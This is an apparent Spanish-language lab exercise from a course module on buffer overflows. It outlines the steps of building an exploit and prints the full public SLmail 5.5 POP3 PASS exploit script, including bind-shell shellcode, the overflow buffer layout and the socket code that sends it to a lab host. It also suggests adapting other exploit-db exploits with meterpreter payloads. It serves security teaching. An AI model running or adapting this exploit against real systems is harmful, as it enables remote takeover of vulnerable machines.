

Lab Exercise: Buffer Overflow

Exercise

- Perform a buffer overflow exploit from 0, for example this one:
 - <https://www.exploit-db.com/exploits/638>
- Take an exploit from outside metasploit, adapt the shellcode to your lab and exploit the vulnerability to gain remote access.

Vamos a presentar un ejercicio para poder practicar todo lo que hemos visto en esta primera parte de este módulo sobre buffer overflow.

Lo que os propongo es intentar hacer un exploit como el que hemos hecho nosotros desde cero, desde intentar ver cómo interactúa la aplicación en crudo, pasarnos de ahí al primer exploit para interactuar con la aplicación desde el exploit.

A partir de ahí ir viendo si conseguimos desbordar el buffer, si conseguimos hacer una acción de servicio, determinar la longitud que hay que poner antes de llegar a la dirección de retorno, encontrar luego preparar el exploit para tener tamaño de desbordamiento, buscar una instrucción de salto, generar el code, buscar los bad char y al fin y al cabo ejecutar lo que sea un exploit.

Aquí por ejemplo pongo una aplicación, esta podría valer:

<https://www.exploit-db.com/exploits/368>

Aquí tenéis la aplicación vulnerable en un Windows XP, Windows 7 sería ideal porque son así un poco más obsoletos y te ahorras tener que lidiar con las protecciones que ya lo hacen un poco más complejo.

Aquí tenéis la solución de una posible solución, seguramente la vuestra sea algo diferente, pero vamos que sigue la misma línea, una serie de A para desbordar el buffer, luego la dirección de salto, unos Nops y la shell code.

```

import struct
import socket

print "\n\n#####\n"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] offsec.com"
print "\nFor Educational Purposes Only!"
print "\n\n#####\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc += "\x8a\x1c\x37\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

```

```

#Tested on Win2k SP4 Unpatched
# Change ret address if needed
buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + sc
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.1.167',110))
    data = s.recv(1024)
    s.send('USER username' + '\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    data = s.recv(1024)
    s.close()
    print "\nDone! Try connecting to port 4444 on victim machine."
except:
    print "Could not connect to POP3!"

# milw0rm.com [2004-11-18]

```

Básicamente este exploit es muy similar al que hemos hecho nosotros en las sesiones previas.

Ser capaces de generar este exploit desde cero puede ser un muy buen ejercicio.

Otra opción algo menos ambiciosa, más sencilla, es buscar una aplicación vulnerable en Internet y que tenga un exploit fuera de metasploit e intentar adaptar la shell code a vuestro laboratorio de pruebas.

Lo que he hecho yo en la última sesión buscando una aplicación, yo por ejemplo he cogido Easy File Management, podéis coger otra cualquiera que encontréis por Internet, por ejemplo en exploit-db podéis encontrar un montón. Descargarse la aplicación y el exploit pues simplemente adaptarlo a vuestra configuración.

Simplemente sería lo que sería crear una shellcode y cambiar una por otra.

Una opción intermedia podría ser coger esta aplicación vulnerable, esta de aquí y simplemente dejar el exploit conforme está, que debería funcionar, y adaptar la shell code a vuestra shell meterpreter para recibirla con Metasploit, una opción híbrida entre uno y otro.